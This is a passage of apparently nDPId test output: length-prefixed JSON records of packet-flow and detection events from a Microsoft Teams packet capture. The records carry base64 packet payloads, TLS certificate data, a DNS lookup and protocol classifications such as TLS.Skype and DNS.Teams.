IQCK9TKQMvnjt3bF9IskNoov410+TNUfrflXc+EV+7RCFQIhAOhI+FRSDv5ZevTOA7yjzgGxZ7+Vifwc2fzYuzpyLBBgAHYA7ku9t3XOYLrhQmkfq+GeZqMPfl+wctiDAMR7iXqo\/csAAAFqkmE4gAAABAMARzBFAiAiHsCLrUDabE9VESRZTt4BikyAq6rNE1j3618pfpVpCAIhALEshKOsZh7n88+DKEMN6Qrti43TvlJOQ0RAjLMbS84WAHcA9lyUL9F3MCIUVBgIMJRWjuNNExkzv98MLyALzE7xZOMAAAFqkmE4gwAABAMASDBGAiEAhlim8PX4pyi\/mpblvrIKUelL3OW87784ne5SOBJO7rUCIQCJx97+HPxXSJjEZtGi1euZMJxoXD7mYyvmnAr9RyA7ngB1AESUZS6w7s6vxEAH2Kj+KMDa5oK+2MsxtT\/TM5a1toGoAAABapJhOJEAAAQDAEYwRAIgSWpW2jkU6iqzOFfqoMvHGTVxpA4qvulMcPxZZ3C6R34CIBq5beRJMDaP8rIHcokNsjMMe+YTY4GBs5JmQen9SUa+MCcGCSsGAQQBgjcVCgQaMBgwCgYIKwYBBQUHAwIwCgYIKwYBBQUHAwEwPgYJKwYBBAGCNxUHBDEwLwYnKwYBBAGCNxUIh9qGdYPu2QGCyYUbgbWeYYX062CBXYTS30KC55N6AgFkAgEdMIGFBggrBgEFBQcBAQR5MHcwUQYIKwYBBQUHMAKGRWh0dHA6Ly93d3cubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL01pY3Jvc29mdCUyMElUJTIwVExTJTIwQ0ElMjAxLmNydDAiBggrBgEFBQcwAYYWaHR0cDovL29jc3AubXNvY3NwLmNvbTAdBgNVHQ4EFgQU3aROfyhw35kc1iGhSMjmHtjM\/20wCwYD"} +02369{"flow_id":21,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":965,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":140170,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUCPtAAG0GvcM0cktFwKgBBgG77H37tolWhXm6NIAQBAVijwAAAQEIClUPdxEwhK2LVR0PBAQDAgSwMBoGA1UdEQQTMBGCDyouYXNtLnNreXBlLmNvbTCBrAYDVR0fBIGkMIGhMIGeoIGboIGYhktodHRwOi8vbXNjcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwMS5jcmyGSWh0dHA6Ly9jcmwubWljcm9zb2Z0LmNvbS9wa2kvbXNjb3JwL2NybC9NaWNyb3NvZnQlMjBJVCUyMFRMUyUyMENBJTIwMS5jcmwwTQYDVR0gBEYwRDBCBgkrBgEEAYI3KgEwNTAzBggrBgEFBQcCARYnaHR0cDovL3d3dy5taWNyb3NvZnQuY29tL3BraS9tc2NvcnAvY3BzMB8GA1UdIwQYMBaAFFiIn9bcnEgitxQ+\/4SI6OaF\/\/p9MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATANBgkqhkiG9w0BAQsFAAOCAgEACIPKEF9HBi2JkkD6ESYlhdNm8iY+gsr0gL6615hSWh4U8l6lWg6SETVfALvWbJjmw+\/RrBNplXGC8hs5V5pMU16UcIqWwWnwj9H89vNvbl1iKlIVOt4RWjn26oXYU89\/6yhyTFsoYJw14ZgatF4o6NskbJ4jd9eFkmtnA2pAjAkeUcTig\/ViNIaBgLHVSmEQ5VHoKbzaQkh9ExsrhRCPHgpPM725R0vC3YhgcdPvZKXA8fzvgpQbP1cw6DeiKQcXr17A51t6NQt7aUakXnzhmYfATzL77\/894cWiz0WcX4A0aa5DLZm140uoZWtRS26ZRq3nRyaM9dauZygIwi5IZv5dUKrmXINvpHM0KDbRNjj6QWrSnFzN0yfjKFx4W875eT04M\/x3qwsQkxjqUFF7C5v85IFT4eLY8IizHhU9Z\/RzToGnPY9l6O5EhWTtQpY\/KujoJzU1eF3iL2FGSCKmW8\/F09oFcAJ\/Mh5O5DKSlLCLAd\/XZQHUj9ZLL6IV9UR8Oljo5vGaqsqaweuAYLRkQfmzbLulFBfco+9oMqG+FmRopdfTBE6kr017ZOPRobJ8Ni+ncsyKb4w+jv5EC5IAzF20\/PMnQyzSIdBd7P3UkRAFoa4fG\/742U4mzEXZ\/hXTg2kehLVXTw011bmeK431GF1WynIKwOa40miKycFxYXgABbgwggW0MIIEnKADAgECAhAIuHpQG76c2i0WTT45Ub9VMA0GCSqGSIb3DQEBCwUAMFoxCzAJBgNVBAYTAklFMRIwEAYDVQQKEwlCYWx0aW1vcmUxEzARBgNVBAsTCkN5YmVyVHJ1c3QxIjAgBgNVBAMTGUJhbHRpbW9yZSBDeWJlclRydXN0IFJvb3QwHhcNMTYwNTIwMTI1MTI4WhcNMjQwNTIwMTI1MTI4WjCBizELMAkGA1UEBhMCVVMxEzARBgNVBAgTCldhc2hpbmd0b24xEDAOBgNVBAcTB1JlZG1vbmQxHjAcBgNVBAoTFU1pY3Jvc29mdCBDb3Jwb3JhdGlvbjEVMBMGA1UECxMMTWljcm9zb2Z0IElUMR4wHAYDVQQDExVNaWNyb3NvZnQgSVQgVExTIENBIDEwggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQCO8\/GEdXe8vsmk9RalUytQYJnc2H3ZJLXhckk3SP7ahpOjfR2aSxBNd3l+Zal8bjbiR9Q2SdDMJAInFOKucc3ZV3Q8EFYZkkqHYvnjkI1e3tFBGxqmH0CiLB6OVdcm2GhCq+wN3t1eYZWzrGyBzqjgra9fyqbkUWguJ\/1UKnGkzLt+kvH2U1EFMdAZgrDKY9DySgALzfRpS\/RallY5JsmdSwpjNDKApQTl6ii3wQDAbRrwKNRKj4CscxnY9RYvra4Il2IGLP7npfCtQVN\/"} +00424{"flow_id":21,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":966,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":140200,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+V7AqAEGNHJLRex9AbuFebo0+7aO9oAQD6\/CxwAAAQEICjCEradVD3cR"} +02374{"flow_id":21,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":967,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":140679,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUCPxAAG0GvcI0cktFwKgBBgG77H37to72hXm6NIAQBAXTOAAAAQEIClUPdxEwhK2LjSsxwxRzId3jeGOcUYa1okhJwHkIFUMAK5m4S+DHVwdsxLmmVC0BU\/Kj8qTM2cFU84jN5EwT04ozIVitGL++OYFwOWk3+FukY+8JB9+HGmLHmgjF0R1eYnYB3WnmOLtEsC1NOsYugOBgclvyzOaOXDohHl2wOSu96hPLlsu2anSMjrwOEJ8bpUBBj5FcdqcO8ao6h7cMd99xai8oYUItkA9yBatn4MF7y5xAmsQKCESMfD26qQ4esdkivR9fQWpzVPZm4qD5pjne0nfzaQS\/t7s8xJP\/cgQctTadaH\/f+jlPsvaPuRz\/re0OFQjjhnzySEl3lxb2\/QD2T6Zeb+c5wFFlPeuxlzDs6p5z\/B4soN+Lz3NftQ4GQhcmlezYqSfQ0GWUXOI\/yigppSD0yN1dtP\/m3QIDAQABo4IBQjCCAT4wHQYDVR0OBBYEFFiIn9bcnEgitxQ+\/4SI6OaF\/\/p9MB8GA1UdIwQYMBaAFOWdWTCCR1jMrPoIVDaGezq1BE3wMBIGA1UdEwEB\/wQIMAYBAf8CAQAwDgYDVR0PAQH\/BAQDAgGGMCcGA1UdJQQgMB4GCCsGAQUFBwMBBggrBgEFBQcDAgYIKwYBBQUHAwkwNAYIKwYBBQUHAQEEKDAmMCQGCCsGAQUFBzABhhhodHRwOi8vb2NzcC5kaWdpY2VydC5jb20wOgYDVR0fBDMwMTAvoC2gK4YpaHR0cDovL2NybDMuZGlnaWNlcnQuY29tL09tbmlyb290MjAyNS5jcmwwPQYDVR0gBDYwNDAyBgRVHSAAMCowKAYIKwYBBQUHAgEWHGh0dHBzOi8vd3d3LmRpZ2ljZXJ0LmNvbS9DUFMwDQYJKoZIhvcNAQELBQADggEBADCaxp1q\/e+TCAy+gnf5dqBtnnswI3uoKVr0aj7HCwyW37hLUuQNnDjteGO1c8AcHzvgp\/9\/SVGVMrjQm6nlz5YDgYDVSmEY\/sRqxt9\/QUYinIBm6w9CoOTzpCGjmNB6dPaM6MPSK6orzhFZGUTnXAcJQuvX\/RVNuW9sRDUmh7qjO2iwgecgyX8TAvPMq58clVDLrmSAu4cKXc6ma7J94z024ilRtyX80AnjsK3EYi4+foUmsvav920xc8YZmKlykwLOygs9POzZcOiA9RareGqHTcaBN6gKdoEGqO8XYHxwEBM8ONczTOQ3ZQj7kbPoFnZhKmX1WJSzRQHvwE8De7gWAAcrAQAHJzCCByMKAQCgggccMIIHGAYJKwYBBQUHMAEBBIIHCTCCBwUwgceiFgQUqShwURmVA+Jp3zLm2A+QCVyZqYAYDzIwMjAwNDE1MTkzMzA5WjCBmzCBmDBMMAkGBSsOAwIaBQAEFE8LW9m32q+ftvNjciJ21uGVriYpBBRYiJ\/W3JxIIrcUPv+EiOjmhf\/6fQITewAE4Lxi6ctlZLvhngAAAATgvIAAGA8yMDIwMDQxNTE5MzMwOVqgERgPMjAyMDA0MTkxOTMzMDlaoSIwIDAeBgkrBgEFBQcwAQYEERgPMjAxOTA0MTYxOTMzMDlaMA0GCSqGSIb3DQEBCwUAA4IBAQBJ3b+j9b9amWJnAoiCkmf2UNIwgNLUYY7i2oIxOcCe4FwtfKqAknYBXLXDmybtzIEQGc9zVWPgZbClw+Dn6abFkbXSG0mhM4QP5D5MQbVxhe7SgYoYVGwkJbmRpd4grc+7uBTiXMgAxBCB5kUsxvRwqLqgwU4Ain2W6hQNvDRMAvojfSg3lYkOFvlf7bcTwOK90BIJGU11EABEc5brrKndHE9hje0klAXbzMZTL8AqrbgnzOZi1rf+0+Wq4RUDesXv6I1AJt7EoKj704jMo9fFhVZPD8osr0ZocAW0OSf5m2CQ\/UMENY99jq5D1K0ZM\/O3ik40uY\/GyUUQa5PIKgTroIIFIzCC"} +02368{"flow_id":21,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":968,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":140795,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUCP1AAG0GvcE0cktFwKgBBgG77H37tpSWhXm6NIAQBAUnjQAAAQEIClUPdxEwhK2LBR8wggUbMIIDA6ADAgECAhNhABSap66sLDo2qRdOAAAAFJqnMA0GCSqGSIb3DQEBCwUAMIGLMQswCQYDVQQGEwJVUzETMBEGA1UECBMKV2FzaGluZ3RvbjEQMA4GA1UEBxMHUmVkbW9uZDEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMRUwEwYDVQQLEwxNaWNyb3NvZnQgSVQxHjAcBgNVBAMTFU1pY3Jvc29mdCBJVCBUTFMgQ0EgMTAeFw0yMDA0MDIxNzEzMzNaFw0yMTA0MDIxNzEzMzNaMCsxKTAnBgNVBAMMIE1pY3Jvc29mdF9JVF9UTFNfQ0FfMV9LZXlCaW5kaW5nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAm1maDM3NHgdAGgJqybRrmWKqSKKEAYvfdrTYPfOpI9FRrz1yFR14GS0e4UDB2rKDlnKsuo9ERf\/Qqpm4JL8SvL0pujmn6ZoeGzO2t5TqMTECkWob1tiLQA1JYOA8RRLKv\/6QsvJzMX0qMbFHNBo4sgrAXoMuWjZcqWxH4fyrsBZdgc0mwpuoYVkD1vOmNWzPZMimjQN4cSMkWQA18afJyhp3Zot3K0OwDCe+wWTKimBMVYuYulSV22tyMOegkWJc5sufvpl383UKGyEuZphpcLBxNnCardIA\/ZTccdHp9K8sF+mKwepxetf1cMDzSEN\/\/lScMw9vnX9v5H8JjKrjnwIDAQABo4HWMIHTMB0GA1UdDgQWBBSpKHBRGZUD4mnfMubYD5AJXJmpgDAOBgNVHQ8BAf8EBAMCB4AwEwYDVR0lBAwwCgYIKwYBBQUHAwkwDwYJKwYBBQUHMAEFBAIFADAfBgNVHSMEGDAWgBRYiJ\/W3JxIIrcUPv+EiOjmhf\/6fTA+BgkrBgEEAYI3FQcEMTAvBicrBgEEAYI3FQiH2oZ1g+7ZAYLJhRuBtZ5hhfTrYIFdgcybR4HI6RYCAWQCAQcwGwYJKwYBBAGCNxUKBA4wDDAKBggrBgEFBQcDCTANBgkqhkiG9w0BAQsFAAOCAgEAgtIw1XGBca6Erz1OvszgvoWacr5GZbPwH0ImFUkqlkKLrDGX26dw78f6py5VurHJyseUPcKNiqot0YVSXUymap0K7zktMxei7OfRzxrEOStMFRhf4eEHV\/O7\/AyBR9FkstJwucamtnpDISZxXPW9rr05PkrOTdnlVyrAOCoYfaDnEQ+1xPoitDay0pVcsGYu77BrbIohKzTwrNEliVrRyxHwimvvaHfJEeI73Qw0xrKz5P2CAjjq+NS3oq42ShzO\/ZCeXkJIIQxSItMiM\/KixA61UUs2f5UNuYZUE81ffd5fJNZDPejQ32czGjgspCbvyvnAED5O\/ZqaA7YQYaq3nSRcyP4y0KOHUNeWrapkqf2VGf9QXuHcfDAhUX30IdVSnvu\/CLNrMi1Rc\/CZt9f0sLen3IGaj7ifKeBfINsKUj7Utkgl6EdqdMZrfLLmiG6+Y3\/KPyWJtGfIZM3e6ZY5B2wRzMrYYSNTP1k2g+IB3vv\/TAkkF6yAhm3Pz+d\/Rl+lIDcAaXujGd1t6LMRqDJpYUmLJDdwfzEcDT63DedYHw5CsMOyixyuwnidRlHASQQC1dmeOqRbV0dQxUDR0kmGy1yLAB3YKRexpVCttjSYvsbYbEtKmpQHIQQ8GwjWv4W9qsYbbo7PJWc0DNh7tJ43lVbs0jzQ0ajpeayGRvxpIogMAAFJAwAXQQTQoJYD6g8ebuDYZ3TNfiyX7B1Telgu6tp3m42naMlYmauJOKphc\/89F+xdu1RR0YKKWJ0SE4nRHS0ZUXLkE6DcBAEBAEIZWso7nL8yIcjBEQboGQnS0F50lXsOAmMHksMjMesG+hWHJWLYFLv\/CyhQ509vz1h0"} +00712{"flow_id":21,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":969,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":140797,"pkt_caplen":276,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":276,"pkt_l4_len":242,"pkt":"KDc3AG3IEBMx8Tl2CABFAAEGCP5AAG0Gwo40cktFwKgBBgG77H37tpo2hXm6NIAYBAVDcgAAAQEIClUPdxEwhK2LSACSZiy6xhZBqFoHfuVJnWThOmXSvs5HXo3nkFTRLqH\/gFiVBrWHZPaugh5f71QBq9sKelJI+oDa8wSlJ5Wt4j3w9VFG\/sQznUFvp8oJAtwYO5QBk3182KbUZxp5sVVXJuFqmJZO+GuUdjnw1GCNdmlSgjR1DoejFE\/6m13ilnZhP9wECEUStxbPasnxIc6wJ5KLpnMUvRkvrC2VBa49EtHON6Sd\/jJ4oOhG9BR2vDdkKCsdYc9u6\/DazX8JYXbReumcyu1TD8JRN0Vbg2sOAAAA"} +01039{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":969,"source":"teams.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":10,"flow_first_seen":1587041682077,"flow_last_seen":1587041682140,"flow_tot_l4_data_len":6525,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1472,"flow_avg_l4_data_len":652,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.114.75.69","src_port":60541,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Skype","breed":"Acceptable","category":"VoIP"},"tls": {"version":"TLSv1.2","client_requested_server_name":"eu-api.asm.skype.com","server_names":"*.asm.skype.com","ja3":"74d5fa154a7fc0a7c655d8eaa34b89bf","ja3s":"986571066668055ae9481cb84fda634a","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384","issuerDN":"C=US, ST=Washington, L=Redmond, O=Microsoft Corporation, OU=Microsoft IT, CN=Microsoft IT TLS CA 1","issuerDN":"CN=*.asm.skype.com","alpn":"h2,http\/1.1","fingerprint":"B9:41:1D:AE:56:09:68:D2:07:D0:69:E1:68:00:08:2B:EF:63:1E:48"}} +00424{"flow_id":21,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":970,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":140844,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+V7AqAEGNHJLRex9AbuFebo0+7aaNoAQD1W34AAAAQEICjCErahVD3cR"} +00424{"flow_id":21,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":971,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":140846,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+V7AqAEGNHJLRex9AbuFebo0+7abCIAQD063FQAAAQEICjCErahVD3cR"} +00598{"flow_id":20,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":972,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":141039,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"EBMx8Tl2KDc3AG3ICABFAACyAABAAEAG+N\/AqAEGNHJLRux8AbuMg\/fuHSSo44AYEABmRwAAAQEICjCErahWxwTAFgMDAEYQAABCQQTQQKZeyPBCj\/p5lAGVLYOFivnXhnGHV0uHxCWHexpxHH2i8efa+9lnmebcwDiKsHG1Pc4CMMYS+KXQfwpjzBJWFAMDAAEBFgMDACgAAAAAAAAAADS8+dm2+8m4Tn34wvGsEBUoapDp6JZWBjkwDD4HPrC3"} +00424{"flow_id":21,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":973,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":141105,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"EBMx8Tl2KDc3AG3ICABFAAA0AABAAEAG+V7AqAEGNHJLRex9AbuFebo0+7abCIAQEAC2YwAAAQEICjCErahVD3cR"} +00598{"flow_id":21,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":974,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":142066,"pkt_caplen":192,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":192,"pkt_l4_len":158,"pkt":"EBMx8Tl2KDc3AG3ICABFAACyAABAAEAG+ODAqAEGNHJLRex9AbuFebo0+7abCIAYEABRlwAAAQEICjCEralVD3cRFgMDAEYQAABCQQTu+YlTGKNSK0JFZRyqdMcvGNFAs8T2GsnSGKY8NwNTGeyVr\/1AlmGpT90ZYfsLkZwIOBCg3KYKsTl5v4TwCb0eFAMDAAEBFgMDACgAAAAAAAAAALUx48gePS5Fp56cO0sk\/WM80Xs1SkLT\/cUJ6fNFiZHX"} +00612{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":975,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":143053,"pkt_caplen":204,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":204,"pkt_l4_len":170,"pkt":"KDc3AG3IEBMx8Tl2CABFAAC+wIdAADkR\/U\/AqAEBwKgBBgA1wWoAqgAAmvKBgAABAAQAAAAABmNvbmZpZwV0ZWFtcwltaWNyb3NvZnQDY29tAAABAAHADAAFAAEAAAs5ACEGY29uZmlnBXRlYW1zDnRyYWZmaWNtYW5hZ2VyA25ldADAOAAFAAEAAAALAB8MY29uZmlnLXRlYW1zBnMtMDAwNQhzLW1zZWRnZcBUwGUABQABAAAAOgACwHLAcgABAAEAAABoAAQ0ccKE"} +00678{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":975,"source":"teams.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":2,"flow_first_seen":1587041682129,"flow_last_seen":1587041682143,"flow_tot_l4_data_len":222,"flow_min_l4_data_len":52,"flow_max_l4_data_len":170,"flow_avg_l4_data_len":111,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"192.168.1.1","src_port":49514,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS.Teams","breed":"Safe","category":"Collaborative"},"dns": {"query":"config.teams.microsoft.com","num_queries":1,"num_answers":4,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"52.113.194.132"}} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":976,"source":"teams.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1587041682144,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60542,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00442{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":976,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":144166,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"EBMx8Tl2KDc3AG3ICABFAABAAABAAEAGghTAqAEGNHHChOx+AbuHxTqTAAAAALAC\/\/\/vlgAAAgQFtAEDAwUBAQgKMIStqwAAAAAEAgAA"} +00426{"flow_id":23,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":977,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":156833,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"KDc3AG3IEBMx8Tl2CABFAAA0EIdAAHUGPJk0ccKEwKgBBgG77H5W9rKzh8U6lIAS\/\/\/8MgAAAgQFoAEDAwgBAQQC"} +00407{"flow_id":23,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":978,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":156932,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"EBMx8Tl2KDc3AG3ICABFAAAoAABAAEAGgizAqAEGNHHChOx+AbuHxTqUVvaytFAQIAAc8gAA"} +00703{"flow_id":23,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":979,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":157086,"pkt_caplen":271,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":271,"pkt_l4_len":237,"pkt":"EBMx8Tl2KDc3AG3ICABFAAEBAABAAEAGgVPAqAEGNHHChOx+AbuHxTqUVvaytFAYIACSqAAAFgMBANQBAADQAwMdYvXtwu11hWCpvITmw2DM6JIDDr9YgJ4rTdtCECjTrgAAHBoazKnMqMArwC\/ALMAwwBPAFACcAJ0ALwA1AAoBAACLCgoAAP8BAAEAAAAAHwAdAAAaY29uZmlnLnRlYW1zLm1pY3Jvc29mdC5jb20AFwAAACMAAAANABQAEgQDCAQEAQUDCAUFAQgGBgECAQAFAAUBAAAAAAASAAAAEAAOAAwCaDIIaHR0cC8xLjEACwACAQAACgAKAAjKygAdABcAGAAbAAMCAAKKigABAA=="} +00739{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":979,"source":"teams.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":4,"flow_first_seen":1587041682144,"flow_last_seen":1587041682157,"flow_tot_l4_data_len":333,"flow_min_l4_data_len":20,"flow_max_l4_data_len":237,"flow_avg_l4_data_len":83,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.6","dst_ip":"52.113.194.132","src_port":60542,"dst_port":443,"l4_proto":"tcp","ndpi": {"proto":"TLS.Teams","breed":"Safe","category":"Collaborative"},"tls": {"version":"TLSv1.2","client_requested_server_name":"config.teams.microsoft.com","ja3":"ebf5e0e525258d7a8dcb54aa1564ecbd","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL","alpn":"h2,http\/1.1"}} +00415{"flow_id":23,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":988,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":169218,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"KDc3AG3IEBMx8Tl2CABFAAAoEIhAAHYGO6Q0ccKEwKgBBgG77H5W9rK0h8U7bVAQBAE4GAAAAAAAAAAA"} +00494{"flow_id":20,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":989,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":170306,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"KDc3AG3IEBMx8Tl2CABFAABnXUtAAGwGb980cktGwKgBBgG77HwdJKjjjIP4bIAYBARcWAAAAQEIClbHBN8whK2oFAMDAAEBFgMDACgAAAAAAAAAABiDMTg4knHCAbQ9Vx3NJRfj8hBMfqWHYQc8rmnwNJ7o"} +02361{"flow_id":23,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":995,"source":"teams.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1587041682,"pkt_ts_usec":171677,"pkt_caplen":1506,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1506,"pkt_l4_len":1472,"pkt":"KDc3AG3IEBMx8Tl2CABFAAXUEIlAAHYGNfc0ccKEwKgBBgG77H5W9rK0h8U7bVAQBAEm2AAAFgMDFzgCAABmAwNemFWSwS\/ycRm1UxBWjREjevX7sDJBeLh6akA9m4m\/PyDpOAAAlIe4cbnQLpC9a9FjVSPLc99EZ2Q33v9F0b0mR8AwAAAeAAUAAAAjAAAAEAAFAAMCaDIAFwAA\/wEAAQAAAAAACwAOKgAOJwAIaTCCCGUwggZNoAMCAQICE3sADNbH39scQ60ghXIAAAAM1scwDQYJKoZIhvcNAQELBQAwgYsxCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpXYXNoaW5ndG9uMRAwDgYDVQQHEwdSZWRtb25kMR4wHAYDVQQKExVNaWNyb3NvZnQgQ29ycG9yYXRpb24xFTATBgNVBAsTDE1pY3Jvc29mdCBJVDEeMBwGA1UEAxMVTWljcm9zb2Z0IElUIFRMUyBDQSAxMB4XDTE5MTIxMTAyMDQyMFoXDTIxMTIxMTAyMDQyMFowJTEjMCEGA1UEAxMaY29uZmlnLnRlYW1zLm1pY3Jvc29mdC5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCrqDBP+YMdR0HfbHcvrOGB2sCn\/Se0vHU+Fn51AKp2JHU8q5i2kBr5zlcJvgJYNjCo2y4+2JZqwxJfi5S4arAjsU4frBsnH1Y9ISrCHeLbLMZOXbUi9eCuhvh9GAZ7zVELu771b0zQiOGD2Y9JVf2Ssq